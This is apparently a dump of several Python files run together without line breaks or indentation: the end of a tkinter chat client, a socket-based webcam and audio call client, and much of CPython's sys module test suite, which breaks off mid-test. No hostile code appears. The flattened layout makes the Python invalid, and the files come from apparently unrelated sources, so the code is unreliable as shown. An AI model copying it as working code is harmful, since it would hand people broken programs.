self.threadSend = threading.Thread(target = self.send) self.threadReceive.start() self.threadSend.start() except: pass self.input_text.bind("<Return>", self.display_message) self.mainloop() try: self.socket_client.close() self.todo = False except: pass def display_message(self, event): if self.flag: message = self.text_var.get() if message != '': self.chat_box.config(state = tkinter.NORMAL) self.chat_box.insert(tkinter.END, 'You > ' + message + '\n') self.chat_box.config(state = tkinter.DISABLED) self.text_var.set('') self.text_tmp = message def send(self): while self.todo: if self.flag: if self.text_tmp != '': text_to_send = 'Stranger > ' + self.text_tmp self.socket_client.send(text_to_send.encode()) self.text_tmp = '' self.flag = False def receive(self): while self.todo: message = self.socket_client.recv(1024) if message: text_received = message.decode() + '\n' self.chat_box.config(state = tkinter.NORMAL) self.chat_box.insert(tkinter.END, text_received) self.chat_box.config(state = tkinter.DISABLED) self.flag = True Client()
clientMedia.py
import cv2 from socket import socket, AF_INET, SOCK_STREAM from imutils.video import WebcamVideoStream import pyaudio from array import array from threading import Thread import numpy as np import zlib import struct HOST = input("Enter Server IP\n") PORT_VIDEO = 3000 PORT_AUDIO = 4000 BufferSize = 4096 CHUNK=1024 lnF = 640*480*3 FORMAT=pyaudio.paInt16 CHANNELS=2 RATE=44100 def SendAudio(): while True: data = stream.read(CHUNK) dataChunk = array('h', data) vol = max(dataChunk) if(vol > 500): print("Recording Sound...") else: print("Silence..") clientAudioSocket.sendall(data) def RecieveAudio(): while True: data = recvallAudio(BufferSize) stream.write(data) def recvallAudio(size): databytes = b'' while len(databytes) != size: to_read = size - len(databytes) if to_read > (4 * CHUNK): databytes += clientAudioSocket.recv(4 * CHUNK) else: databytes += clientAudioSocket.recv(to_read) return databytes def SendFrame(): while True: try: frame = wvs.read() cv2_im = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) frame = cv2.resize(frame, (640, 480)) frame = np.array(frame, dtype = np.uint8).reshape(1, lnF) jpg_as_text = bytearray(frame) databytes = zlib.compress(jpg_as_text, 9) length = struct.pack('!I', len(databytes)) bytesToBeSend = b'' clientVideoSocket.sendall(length) while len(databytes) > 0: if (5000 * CHUNK) <= len(databytes): bytesToBeSend = databytes[:(5000 * CHUNK)] databytes = databytes[(5000 * CHUNK):] clientVideoSocket.sendall(bytesToBeSend) else: bytesToBeSend = databytes clientVideoSocket.sendall(bytesToBeSend) databytes = b'' print("##### Data Sent!! #####") except: continue def RecieveFrame(): while True: try: lengthbuf = recvallVideo(4) length, = struct.unpack('!I', lengthbuf) databytes = recvallVideo(length) img = zlib.decompress(databytes) if len(databytes) == length: print("Recieving Media..") print("Image Frame Size:- {}".format(len(img))) img = np.array(list(img)) img = np.array(img, dtype = np.uint8).reshape(480, 640, 3) cv2.imshow("Stream", img) if cv2.waitKey(1) == 27: cv2.destroyAllWindows() else: print("Data CORRUPTED") except: continue def recvallVideo(size): databytes = b'' while len(databytes) != size: to_read = size - len(databytes) if to_read > (5000 * CHUNK): databytes += clientVideoSocket.recv(5000 * CHUNK) else: databytes += clientVideoSocket.recv(to_read) return databytes clientVideoSocket = socket(family=AF_INET, type=SOCK_STREAM) clientVideoSocket.connect((HOST, PORT_VIDEO)) wvs = WebcamVideoStream(0).start() clientAudioSocket = socket(family=AF_INET, type=SOCK_STREAM) clientAudioSocket.connect((HOST, PORT_AUDIO)) audio=pyaudio.PyAudio() stream=audio.open(format=FORMAT,channels=CHANNELS, rate=RATE, input=True, output = True,frames_per_buffer=CHUNK) initiation = clientVideoSocket.recv(5).decode() if initiation == "start": SendFrameThread = Thread(target=SendFrame).start() SendAudioThread = Thread(target=SendAudio).start() RecieveFrameThread = Thread(target=RecieveFrame).start() RecieveAudioThread = Thread(target=RecieveAudio).start()
test_sys.py
import builtins import codecs import gc import locale import operator import os import struct import subprocess import sys import sysconfig import test.support from test import support from test.support import os_helper from test.support.script_helper import assert_python_ok, assert_python_failure from test.support import threading_helper from test.support import import_helper import textwrap import unittest import warnings # count the number of test runs, used to create unique # strings to intern in test_intern() INTERN_NUMRUNS = 0 DICT_KEY_STRUCT_FORMAT = 'n2BI2n' class DisplayHookTest(unittest.TestCase): def test_original_displayhook(self): dh = sys.__displayhook__ with support.captured_stdout() as out: dh(42) self.assertEqual(out.getvalue(), "42\n") self.assertEqual(builtins._, 42) del builtins._ with support.captured_stdout() as out: dh(None) self.assertEqual(out.getvalue(), "") self.assertTrue(not hasattr(builtins, "_")) # sys.displayhook() requires arguments self.assertRaises(TypeError, dh) stdout = sys.stdout try: del sys.stdout self.assertRaises(RuntimeError, dh, 42) finally: sys.stdout = stdout def test_lost_displayhook(self): displayhook = sys.displayhook try: del sys.displayhook code = compile("42", "<string>", "single") self.assertRaises(RuntimeError, eval, code) finally: sys.displayhook = displayhook def test_custom_displayhook(self): def baddisplayhook(obj): raise ValueError with support.swap_attr(sys, 'displayhook', baddisplayhook): code = compile("42", "<string>", "single") self.assertRaises(ValueError, eval, code) class ActiveExceptionTests(unittest.TestCase): def test_exc_info_no_exception(self): self.assertEqual(sys.exc_info(), (None, None, None)) def test_sys_exception_no_exception(self): self.assertEqual(sys.exception(), None) def test_exc_info_with_exception_instance(self): def f(): raise ValueError(42) try: f() except Exception as e_: e = e_ exc_info = sys.exc_info() self.assertIsInstance(e, ValueError) self.assertIs(exc_info[0], ValueError) self.assertIs(exc_info[1], e) self.assertIs(exc_info[2], e.__traceback__) def test_exc_info_with_exception_type(self): def f(): raise ValueError try: f() except Exception as e_: e = e_ exc_info = sys.exc_info() self.assertIsInstance(e, ValueError) self.assertIs(exc_info[0], ValueError) self.assertIs(exc_info[1], e) self.assertIs(exc_info[2], e.__traceback__) def test_sys_exception_with_exception_instance(self): def f(): raise ValueError(42) try: f() except Exception as e_: e = e_ exc = sys.exception() self.assertIsInstance(e, ValueError) self.assertIs(exc, e) def test_sys_exception_with_exception_type(self): def f(): raise ValueError try: f() except Exception as e_: e = e_ exc = sys.exception() self.assertIsInstance(e, ValueError) self.assertIs(exc, e) class ExceptHookTest(unittest.TestCase): def test_original_excepthook(self): try: raise ValueError(42) except ValueError as exc: with support.captured_stderr() as err: sys.__excepthook__(*sys.exc_info()) self.assertTrue(err.getvalue().endswith("ValueError: 42\n")) self.assertRaises(TypeError, sys.__excepthook__) def test_excepthook_bytes_filename(self): # bpo-37467: sys.excepthook() must not crash if a filename # is a bytes string with warnings.catch_warnings(): warnings.simplefilter('ignore', BytesWarning) try: raise SyntaxError("msg", (b"bytes_filename", 123, 0, "text")) except SyntaxError as exc: with support.captured_stderr() as err: sys.__excepthook__(*sys.exc_info()) err = err.getvalue() self.assertIn(""" File "b'bytes_filename'", line 123\n""", err) self.assertIn(""" text\n""", err) self.assertTrue(err.endswith("SyntaxError: msg\n")) def test_excepthook(self): with test.support.captured_output("stderr") as stderr: sys.excepthook(1, '1', 1) self.assertTrue("TypeError: print_exception(): Exception expected for " \ "value, str found" in stderr.getvalue()) # FIXME: testing the code for a lost or replaced excepthook in # Python/pythonrun.c::PyErr_PrintEx() is tricky. class SysModuleTest(unittest.TestCase): def tearDown(self): test.support.reap_children() def test_exit(self): # call with two arguments self.assertRaises(TypeError, sys.exit, 42, 42) # call without argument with self.assertRaises(SystemExit) as cm: sys.exit() self.assertIsNone(cm.exception.code) rc, out, err = assert_python_ok('-c', 'import sys; sys.exit()') self.assertEqual(rc, 0) self.assertEqual(out, b'') self.assertEqual(err, b'') # call with integer argument with self.assertRaises(SystemExit) as cm: sys.exit(42) self.assertEqual(cm.exception.code, 42) # call with tuple argument with one entry # entry will be unpacked with self.assertRaises(SystemExit) as cm: sys.exit((42,)) self.assertEqual(cm.exception.code, 42) # call with string argument with self.assertRaises(SystemExit) as cm: sys.exit("exit") self.assertEqual(cm.exception.code, "exit") # call with tuple argument with two entries with self.assertRaises(SystemExit) as cm: sys.exit((17, 23)) self.assertEqual(cm.exception.code, (17, 23)) # test that the exit machinery handles SystemExits properly rc, out, err = assert_python_failure('-c', 'raise SystemExit(47)') self.assertEqual(rc, 47) self.assertEqual(out, b'') self.assertEqual(err, b'') def check_exit_message(code, expected, **env_vars): rc, out, err = assert_python_failure('-c', code, **env_vars) self.assertEqual(rc, 1) self.assertEqual(out, b'') self.assertTrue(err.startswith(expected), "%s doesn't start with %s" % (ascii(err), ascii(expected))) # test that stderr buffer is flushed before the exit message is written # into stderr check_exit_message( r'import sys; sys.stderr.write("unflushed,"); sys.exit("message")', b"unflushed,message") # test that the exit message is written with backslashreplace error # handler to stderr check_exit_message( r'import sys; sys.exit("surrogates:\uDCFF")', b"surrogates:\\udcff") # test that the unicode message is encoded to the stderr encoding # instead of the default encoding (utf8) check_exit_message( r'import sys; sys.exit("h\xe9")', b"h\xe9", PYTHONIOENCODING='latin-1') def test_getdefaultencoding(self): self.assertRaises(TypeError, sys.getdefaultencoding, 42) # can't check more than the type, as the user might have changed it self.assertIsInstance(sys.getdefaultencoding(), str) # testing sys.settrace() is done in test_sys_settrace.py # testing sys.setprofile() is done in test_sys_setprofile.py def test_switchinterval(self): self.assertRaises(TypeError, sys.setswitchinterval) self.assertRaises(TypeError, sys.setswitchinterval, "a") self.assertRaises(ValueError, sys.setswitchinterval, -1.0) self.assertRaises(ValueError, sys.setswitchinterval, 0.0) orig = sys.getswitchinterval() # sanity check self.assertTrue(orig < 0.5, orig) try: for n in 0.00001, 0.05, 3.0, orig: sys.setswitchinterval(n) self.assertAlmostEqual(sys.getswitchinterval(), n) finally: sys.setswitchinterval(orig) def test_recursionlimit(self): self.assertRaises(TypeError, sys.getrecursionlimit, 42) oldlimit = sys.getrecursionlimit() self.assertRaises(TypeError, sys.setrecursionlimit) self.assertRaises(ValueError, sys.setrecursionlimit, -42) sys.setrecursionlimit(10000) self.assertEqual(sys.getrecursionlimit(), 10000) sys.setrecursionlimit(oldlimit) def test_recursionlimit_recovery(self): if hasattr(sys, 'gettrace') and sys.gettrace(): self.skipTest('fatal error if run with a trace function') oldlimit = sys.getrecursionlimit() def f(): f() try: for depth in (50, 75, 100, 250, 1000): try: sys.setrecursionlimit(depth) except RecursionError: # Issue #25274: The recursion limit is too low at the # current recursion depth continue # Issue #5392: test stack overflow after hitting recursion # limit twice with self.assertRaises(RecursionError): f() with self.assertRaises(RecursionError): f() finally: sys.setrecursionlimit(oldlimit) @test.support.cpython_only def test_setrecursionlimit_recursion_depth(self): # Issue #25274: Setting a low recursion limit must be blocked if the # current recursion depth is already higher than limit. from _testinternalcapi import get_recursion_depth def set_recursion_limit_at_depth(depth, limit): recursion_depth = get_recursion_depth() if recursion_depth >= depth: with self.assertRaises(RecursionError) as cm: sys.setrecursionlimit(limit) self.assertRegex(str(cm.exception), "cannot set the recursion limit to [0-9]+ " "at the recursion depth [0-9]+: " "the limit is too low") else: set_recursion_limit_at_depth(depth, limit) oldlimit = sys.getrecursionlimit() try: sys.setrecursionlimit(1000) for limit in (10, 25, 50, 75, 100, 150, 200): set_recursion_limit_at_depth(limit, limit) finally: sys.setrecursionlimit(oldlimit) def test_getwindowsversion(self): # Raise SkipTest if sys doesn't have getwindowsversion attribute test.support.get_attribute(sys, "getwindowsversion") v = sys.getwindowsversion() self.assertEqual(len(v), 5) self.assertIsInstance(v[0], int) self.assertIsInstance(v[1], int) self.assertIsInstance(v[2], int) self.assertIsInstance(v[3], int) self.assertIsInstance(v[4], str) self.assertRaises(IndexError, operator.getitem, v, 5) self.assertIsInstance(v.major, int) self.assertIsInstance(v.minor, int) self.assertIsInstance(v.build, int) self.assertIsInstance(v.platform, int) self.assertIsInstance(v.service_pack, str) self.assertIsInstance(v.service_pack_minor, int) self.assertIsInstance(v.service_pack_major, int) self.assertIsInstance(v.suite_mask, int) self.assertIsInstance(v.product_type, int) self.assertEqual(v[0], v.major) self.assertEqual(v[1], v.minor) self.assertEqual(v[2], v.build) self.assertEqual(v[3], v.platform) self.assertEqual(v[4], v.service_pack) # This is how platform.py calls it. Make sure tuple # still has 5 elements maj, min, buildno, plat, csd = sys.getwindowsversion() def test_call_tracing(self): self.assertRaises(TypeError, sys.call_tracing, type, 2) @unittest.skipUnless(hasattr(sys, "setdlopenflags"), 'test needs sys.setdlopenflags()') def test_dlopenflags(self): self.assertTrue(hasattr(sys, "getdlopenflags")) self.assertRaises(TypeError, sys.getdlopenflags, 42) oldflags = sys.getdlopenflags() self.assertRaises(TypeError, sys.setdlopenflags) sys.setdlopenflags(oldflags+1) self.assertEqual(sys.getdlopenflags(), oldflags+1) sys.setdlopenflags(oldflags) @test.support.refcount_test def test_refcount(self): # n here must be a global in order for this test to pass while # tracing with a python function. Tracing calls PyFrame_FastToLocals # which will add a copy of any locals to the frame object, causing # the reference count to increase by 2 instead of 1. global n self.assertRaises(TypeError, sys.getrefcount) c = sys.getrefcount(None) n = None self.assertEqual(sys.getrefcount(None), c+1) del n self.assertEqual(sys.getrefcount(None), c) if hasattr(sys, "gettotalrefcount"): self.assertIsInstance(sys.gettotalrefcount(), int) def test_getframe(self): self.assertRaises(TypeError, sys._getframe, 42, 42) self.assertRaises(ValueError, sys._getframe, 2000000000) self.assertTrue( SysModuleTest.test_getframe.__code__ \ is sys._getframe().f_code ) # sys._current_frames() is a CPython-only gimmick. @threading_helper.reap_threads def test_current_frames(self): import threading import traceback # Spawn a thread that blocks at a known place. Then the main # thread does sys._current_frames(), and verifies that the frames # returned make sense. entered_g = threading.Event() leave_g = threading.Event() thread_info = [] # the thread's id def f123(): g456() def g456(): thread_info.append(threading.get_ident()) entered_g.set() leave_g.wait() t = threading.Thread(target=f123) t.start() entered_g.wait() # At this point, t has finished its entered_g.set(), although it's # impossible to guess whether it's still on that line or has moved on # to its leave_g.wait(). self.assertEqual(len(thread_info), 1) thread_id = thread_info[0] d = sys._current_frames() for tid in d: self.assertIsInstance(tid, int) self.assertGreater(tid, 0) main_id = threading.get_ident() self.assertIn(main_id, d) self.assertIn(thread_id, d) # Verify that the captured main-thread frame is _this_ frame. frame = d.pop(main_id) self.assertTrue(frame is sys._getframe()) # Verify that the captured thread frame is blocked in g456, called # from f123. This is a little tricky, since various bits of # threading.py are also in the thread's call stack. frame = d.pop(thread_id) stack = traceback.extract_stack(frame) for i, (filename, lineno, funcname, sourceline) in enumerate(stack): if funcname == "f123": break else: self.fail("didn't find f123() on thread's call stack") self.assertEqual(sourceline, "g456()") # And the next record must be for g456(). filename, lineno, funcname, sourceline = stack[i+1] self.assertEqual(funcname, "g456") self.assertIn(sourceline, ["leave_g.wait()", "entered_g.set()"]) # Reap the spawned thread. leave_g.set() t.join() @threading_helper.reap_threads def test_current_exceptions(self): import threading import traceback # Spawn a thread that blocks at a known place. Then the main # thread does sys._current_frames(), and verifies that the frames # returned make sense. entered_g = threading.Event() leave_g = threading.Event() thread_info = [] # the thread's id def f123(): g456() def g456(): thread_info.append(threading.get_ident()) entered_g.set() while True: try: raise ValueError("oops") except ValueError: if leave_g.wait(timeout=support.LONG_TIMEOUT): break t = threading.Thread(target=f123) t.start() entered_g.wait() # At this point, t has finished its entered_g.set(), although it's # impossible to guess whether it's still on that line or has moved on # to its leave_g.wait(). self.assertEqual(len(thread_info), 1) thread_id = thread_info[0] d = sys._current_exceptions() for tid in d: self.assertIsInstance(tid, int) self.assertGreater(tid, 0) main_id = threading.get_ident() self.assertIn(main_id, d) self.assertIn(thread_id, d) self.assertEqual((None, None, None), d.pop(main_id)) # Verify that the captured thread frame is blocked in g456, called # from f123. This is a little tricky, since various bits of # threading.py are also in the thread's call stack. exc_type, exc_value, exc_tb = d.pop(thread_id) stack = traceback.extract_stack(exc_tb.tb_frame) for i, (filename, lineno, funcname, sourceline) in enumerate(stack): if funcname == "f123": break else: self.fail("didn't find f123() on thread's call stack") self.assertEqual(sourceline, "g456()") # And the next record must be for g456(). filename, lineno, funcname, sourceline = stack[i+1] self.assertEqual(funcname, "g456") self.assertTrue(sourceline.startswith("if leave_g.wait(")) # Reap the spawned thread. leave_g.set() t.join() def test_attributes(self): self.assertIsInstance(sys.api_version, int) self.assertIsInstance(sys.argv, list) for arg in sys.argv: self.assertIsInstance(arg, str) self.assertIsInstance(sys.orig_argv, list) for arg in sys.orig_argv: self.assertIsInstance(arg, str) self.assertIn(sys.byteorder, ("little", "big")) self.assertIsInstance(sys.builtin_module_names, tuple) self.assertIsInstance(sys.copyright, str) self.assertIsInstance(sys.exec_prefix, str) self.assertIsInstance(sys.base_exec_prefix, str) self.assertIsInstance(sys.executable, str) self.assertEqual(len(sys.float_info), 11) self.assertEqual(sys.float_info.radix, 2) self.assertEqual(len(sys.int_info), 2) self.assertTrue(sys.int_info.bits_per_digit % 5 == 0) self.assertTrue(sys.int_info.sizeof_digit >= 1) self.assertEqual(type(sys.int_info.bits_per_digit), int) self.assertEqual(type(sys.int_info.sizeof_digit), int) self.assertIsInstance(sys.hexversion, int) self.assertEqual(len(sys.hash_info), 9) self.assertLess(sys.hash_info.modulus, 2**sys.hash_info.width) # sys.hash_info.modulus should be a prime; we do a quick # probable primality test (doesn't exclude the possibility of # a Carmichael number) for x in range(1, 100): self.assertEqual( pow(x, sys.hash_info.modulus-1, sys.hash_info.modulus), 1, "sys.hash_info.modulus {} is a non-prime".format( sys.hash_info.modulus) ) self.assertIsInstance(sys.hash_info.inf, int) self.assertIsInstance(sys.hash_info.nan, int) self.assertIsInstance(sys.hash_info.imag, int) algo = sysconfig.get_config_var("Py_HASH_ALGORITHM") if sys.hash_info.algorithm in {"fnv", "siphash13", "siphash24"}: self.assertIn(sys.hash_info.hash_bits, {32, 64}) self.assertIn(sys.hash_info.seed_bits, {32, 64, 128}) if algo == 1: self.assertEqual(sys.hash_info.algorithm, "siphash24") elif algo == 2: self.assertEqual(sys.hash_info.algorithm, "fnv") elif algo == 3: self.assertEqual(sys.hash_info.algorithm, "siphash13") else: self.assertIn(sys.hash_info.algorithm, {"fnv", "siphash13", "siphash24"}) else: # PY_HASH_EXTERNAL self.assertEqual(algo, 0) self.assertGreaterEqual(sys.hash_info.cutoff, 0) self.assertLess(sys.hash_info.cutoff, 8) self.assertIsInstance(sys.maxsize, int) self.assertIsInstance(sys.maxunicode, int) self.assertEqual(sys.maxunicode, 0x10FFFF) self.assertIsInstance(sys.platform, str) self.assertIsInstance(sys.prefix, str) self.assertIsInstance(sys.base_prefix, str) self.assertIsInstance(sys.platlibdir, str) self.assertIsInstance(sys.version, str) vi = sys.version_info self.assertIsInstance(vi[:], tuple) self.assertEqual(len(vi), 5) self.assertIsInstance(vi[0], int) self.assertIsInstance(vi[1], int) self.assertIsInstance(vi[2], int) self.assertIn(vi[3], ("alpha", "beta", "candidate", "final")) self.assertIsInstance(vi[4], int) self.assertIsInstance(vi.major, int) self.assertIsInstance(vi.minor, int) self.assertIsInstance(vi.micro, int) self.assertIn(vi.releaselevel, ("alpha", "beta", "candidate", "final")) self.assertIsInstance(vi.serial, int) self.assertEqual(vi[0], vi.major) self.assertEqual(vi[1], vi.minor) self.assertEqual(vi[2], vi.micro) self.assertEqual(vi[3], vi.releaselevel) self.assertEqual(vi[4], vi.serial) self.assertTrue(vi > (1,0,0)) self.assertIsInstance(sys.float_repr_style, str) self.assertIn(sys.float_repr_style, ('short', 'legacy')) if not sys.platform.startswith('win'): self.assertIsInstance(sys.abiflags, str) def test_thread_info(self): info = sys.thread_info self.assertEqual(len(info), 3) self.assertIn(info.name, ('nt', 'pthread', 'solaris', None)) self.assertIn(info.lock, ('semaphore', 'mutex+cond', None)) def test_43581(self): # Can't use sys.stdout, as this is a StringIO object when # the test runs under regrtest. self.assertEqual(sys.__stdout__.encoding, sys.__stderr__.encoding) def test_intern(self): global INTERN_NUMRUNS INTERN_NUMRUNS += 1 self.assertRaises(TypeError, sys.intern) s = "never interned before" + str(INTERN_NUMRUNS) self.assertTrue(sys.intern(s) is s) s2 = s.swapcase().swapcase() self.assertTrue(sys.intern(s2) is s) # Subclasses of string can't be interned, because they # provide too much opportunity for insane things to happen. # We don't want them in the interned dict and if they aren't # actually interned, we don't want to create the appearance # that they are by allowing intern() to succeed. class S(str): def __hash__(self): return 123 self.assertRaises(TypeError, sys.intern, S("abc")) def test_sys_flags(self): self.assertTrue(sys.flags) attrs = ("debug", "inspect", "interactive", "optimize", "dont_write_bytecode", "no_user_site", "no_site", "ignore_environment", "verbose", "bytes_warning", "quiet", "hash_randomization", "isolated", "dev_mode", "utf8_mode", "warn_default_encoding") for attr in attrs: self.assertTrue(hasattr(sys.flags, attr), attr) attr_type = bool if attr == "dev_mode" else int self.assertEqual(type(getattr(sys.flags, attr)), attr_type, attr) self.assertTrue(repr(sys.flags)) self.assertEqual(len(sys.flags), len(attrs)) self.assertIn(sys.flags.utf8_mode, {0, 1, 2}) def assert_raise_on_new_sys_type(self, sys_attr): # Users are intentionally prevented from creating new instances of # sys.flags, sys.version_info, and sys.getwindowsversion. arg = sys_attr attr_type = type(sys_attr) with self.assertRaises(TypeError): attr_type(arg) with self.assertRaises(TypeError): attr_type.__new__(attr_type, arg) def test_sys_flags_no_instantiation(self): self.assert_raise_on_new_sys_type(sys.flags) def test_sys_version_info_no_instantiation(self): self.assert_raise_on_new_sys_type(sys.version_info) def test_sys_getwindowsversion_no_instantiation(self): # Skip if not being run on Windows. test.support.get_attribute(sys, "getwindowsversion") self.assert_raise_on_new_sys_type(sys.getwindowsversion()) @test.support.cpython_only def test_clear_type_cache(self): sys._clear_type_cache() def test_ioencoding(self): env = dict(os.environ) # Test character: cent sign, encoded as 0x4A (ASCII J) in CP424, # not representable in ASCII. env["PYTHONIOENCODING"] = "cp424" p = subprocess.Popen([sys.executable, "-c", 'print(chr(0xa2))'], stdout = subprocess.PIPE, env=env) out = p.communicate()[0].strip() expected = ("\xa2" + os.linesep).encode("cp424") self.assertEqual(out, expected) env["PYTHONIOENCODING"] = "ascii:replace" p = subprocess.Popen([sys.executable, "-c", 'print(chr(0xa2))'], stdout = subprocess.PIPE, env=env) out = p.communicate()[0].strip() self.assertEqual(out, b'?') env["PYTHONIOENCODING"] = "ascii" p = subprocess.Popen([sys.executable, "-c", 'print(chr(0xa2))'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=env) out, err = p.communicate() self.assertEqual(out, b'') self.assertIn(b'UnicodeEncodeError:', err) self.assertIn(rb"'\xa2'", err) env["PYTHONIOENCODING"] = "ascii:" p = subprocess.Popen([sys.executable, "-c", 'print(chr(0xa2))'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=env) out, err = p.communicate() self.assertEqual(out, b'') self.assertIn(b'UnicodeEncodeError:', err) self.assertIn(rb"'\xa2'", err) env["PYTHONIOENCODING"] = ":surrogateescape" p = subprocess.Popen([sys.executable, "-c", 'print(chr(0xdcbd))'], stdout=subprocess.PIPE, env=env) out = p.communicate()[0].strip() self.assertEqual(out, b'\xbd') @unittest.skipUnless(os_helper.FS_NONASCII, 'requires OS support of non-ASCII encodings') @unittest.skipUnless(sys.getfilesystemencoding() == locale.getpreferredencoding(False), 'requires FS encoding to match locale') def test_ioencoding_nonascii(self): env = dict(os.environ) env["PYTHONIOENCODING"] = "" p = subprocess.Popen([sys.executable, "-c", 'print(%a)' % os_helper.FS_NONASCII], stdout=subprocess.PIPE, env=env) out = p.communicate()[0].strip() self.assertEqual(out, os.fsencode(os_helper.FS_NONASCII)) @unittest.skipIf(sys.base_prefix != sys.prefix, 'Test is not venv-compatible') def test_executable(self): # sys.executable should be absolute self.assertEqual(os.path.abspath(sys.executable), sys.executable) # Issue #7774: Ensure that sys.executable is an empty string if argv[0] # has been set to a non existent program name and Python is unable to # retrieve the real program name # For a normal installation, it should work without 'cwd' # argument. For test runs in the build directory, see #7774. python_dir = os.path.dirname(os.path.realpath(sys.executable)) p = subprocess.Popen( ["nonexistent", "-c", 'import sys; print(sys.executable.encode("ascii", "backslashreplace"))'], executable=sys.executable, stdout=subprocess.PIPE, cwd=python_dir) stdout = p.communicate()[0] executable = stdout.strip().decode("ASCII") p.wait() self.assertIn(executable, ["b''", repr(sys.executable.encode("ascii", "backslashreplace"))]) def check_fsencoding(self, fs_encoding, expected=None): self.assertIsNotNone(fs_encoding) codecs.lookup(fs_encoding) if expected: self.assertEqual(fs_encoding, expected) def test_getfilesystemencoding(self): fs_encoding = sys.getfilesystemencoding() if sys.platform == 'darwin': expected = 'utf-8' else: expected = None self.check_fsencoding(fs_encoding, expected) def c_locale_get_error_handler(self, locale, isolated=False, encoding=None): # Force the POSIX locale env = os.environ.copy() env["LC_ALL"] = locale env["PYTHONCOERCECLOCALE"] = "0" code = '\n'.join(( 'import sys', 'def dump(name):', ' std = getattr(sys, name)', ' print("%s: %s" % (name, std.errors))', 'dump("stdin")', 'dump("stdout")', 'dump("stderr")', )) args = [sys.executable, "-X", "utf8=0", "-c", code] if isolated: args.append("-I") if encoding is not None: env['PYTHONIOENCODING'] = encoding else: env.pop('PYTHONIOENCODING', None) p = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env, universal_newlines=True) stdout, stderr = p.communicate() return stdout def check_locale_surrogateescape(self, locale): out = self.c_locale_get_error_handler(locale, isolated=True) self.assertEqual(out, 'stdin: surrogateescape\n' 'stdout: surrogateescape\n' 'stderr: backslashreplace\n') # replace the default error handler out = self.c_locale_get_error_handler(locale, encoding=':ignore') self.assertEqual(out, 'stdin: ignore\n' 'stdout: ignore\n' 'stderr: backslashreplace\n') # force the encoding out = self.c_locale_get_error_handler(locale, encoding='iso8859-1') self.assertEqual(out, 'stdin: strict\n' 'stdout: strict\n' 'stderr: backslashreplace\n') out = self.c_locale_get_error_handler(locale, encoding='iso8859-1:') self.assertEqual(out, 'stdin: strict\n' 'stdout: strict\n' 'stderr: backslashreplace\n') # have no any effect out = self.c_locale_get_error_handler(locale, encoding=':') self.assertEqual(out, 'stdin: surrogateescape\n' 'stdout: surrogateescape\n' 'stderr: backslashreplace\n') out = self.c_locale_get_error_handler(locale, encoding='') self.assertEqual(out, 'stdin: surrogateescape\n' 'stdout: surrogateescape\n' 'stderr: backslashreplace\n') def test_c_locale_surrogateescape(self): self.check_locale_surrogateescape('C') def test_posix_locale_surrogateescape(self): self.check_locale_surrogateescape('POSIX') def test_implementation(self): # This test applies to all implementations equally. levels = {'alpha': 0xA, 'beta': 0xB, 'candidate': 0xC, 'final': 0xF} self.assertTrue(hasattr(sys.implementation, 'name')) self.assertTrue(hasattr(sys.implementation, 'version')) self.assertTrue(hasattr(sys.implementation, 'hexversion')) self.assertTrue(hasattr(sys.implementation, 'cache_tag')) version = sys.implementation.version self.assertEqual(version[:2], (version.major, version.minor)) hexversion = (version.major << 24 | version.minor << 16 | version.micro << 8 | levels[version.releaselevel] << 4 | version.serial << 0) self.assertEqual(sys.implementation.hexversion, hexversion) # PEP 421 requires that .name be lower case. self.assertEqual(sys.implementation.name, sys.implementation.name.lower()) @test.support.cpython_only def test_debugmallocstats(self): # Test sys._debugmallocstats() from test.support.script_helper import assert_python_ok args = ['-c', 'import sys; sys._debugmallocstats()'] ret, out, err = assert_python_ok(*args) # Output of sys._debugmallocstats() depends on configure flags. # The sysconfig vars are not available on Windows. if sys.platform != "win32": with_freelists = sysconfig.get_config_var("WITH_FREELISTS") with_pymalloc = sysconfig.get_config_var("WITH_PYMALLOC") if with_freelists: self.assertIn(b"free PyDictObjects", err) if with_pymalloc: self.assertIn(b'Small block threshold', err) if not with_freelists and not with_pymalloc: self.assertFalse(err) # The function has no parameter self.assertRaises(TypeError, sys._debugmallocstats, True) @unittest.skipUnless(hasattr(sys, "getallocatedblocks"), "sys.getallocatedblocks unavailable on this build") def test_getallocatedblocks(self): try: import _testcapi except ImportError: with_pymalloc = support.with_pymalloc() else: try: alloc_name = _testcapi.pymem_getallocatorsname() except RuntimeError as exc: # "cannot get allocators name" (ex: tracemalloc is used) with_pymalloc = True else: with_pymalloc = (alloc_name in ('pymalloc', 'pymalloc_debug')) # Some sanity checks a = sys.getallocatedblocks() self.assertIs(type(a), int) if with_pymalloc: self.assertGreater(a, 0) else: # When WITH_PYMALLOC isn't available, we don't know anything # about the underlying implementation: the function might # return 0 or something greater. self.assertGreaterEqual(a, 0) try: # While we could imagine a Python session where the number of # multiple buffer objects would exceed the sharing of references, # it is unlikely to happen in a normal test run. self.assertLess(a, sys.gettotalrefcount()) except AttributeError: # gettotalrefcount() not available pass gc.collect() b = sys.getallocatedblocks() self.assertLessEqual(b, a) gc.collect() c = sys.getallocatedblocks() self.assertIn(c, range(b - 50, b + 50)) def test_is_finalizing(self): self.assertIs(sys.is_finalizing(), False) # Don't use the atexit module because _Py_Finalizing is only set # after calling atexit callbacks code = """if 1: import sys class AtExit: is_finalizing = sys.is_finalizing print = print def __del__(self): self.print(self.is_finalizing(), flush=True) # Keep a reference in the __main__ module namespace, so the # AtExit destructor will be called at Python exit ref = AtExit() """ rc, stdout, stderr = assert_python_ok('-c', code) self.assertEqual(stdout.rstrip(), b'True') def test_issue20602(self): # sys.flags and sys.float_info were wiped during shutdown. code = """if 1: import sys class A: def __del__(self, sys=sys): print(sys.flags) print(sys.float_info) a = A() """ rc, out, err = assert_python_ok('-c', code) out = out.splitlines() self.assertIn(b'sys.flags', out[0]) self.assertIn(b'sys.float_info', out[1]) def test_sys_ignores_cleaning_up_user_data(self): code = """if 1: import struct, sys class C: def __init__(self): self.pack = struct.pack def __del__(self): self.pack('I', -42) sys.x = C() """ rc, stdout, stderr = assert_python_ok('-c', code) self.assertEqual(rc, 0) self.assertEqual(stdout.rstrip(), b"") self.assertEqual(stderr.rstrip(), b"") @unittest.skipUnless(hasattr(sys, 'getandroidapilevel'), 'need sys.getandroidapilevel()') def test_getandroidapilevel(self): level = sys.getandroidapilevel() self.assertIsInstance(level, int) self.assertGreater(level, 0) def test_sys_tracebacklimit(self): code = """if 1: import sys def f1(): 1 / 0 def f2(): f1() sys.tracebacklimit = %r f2() """ def 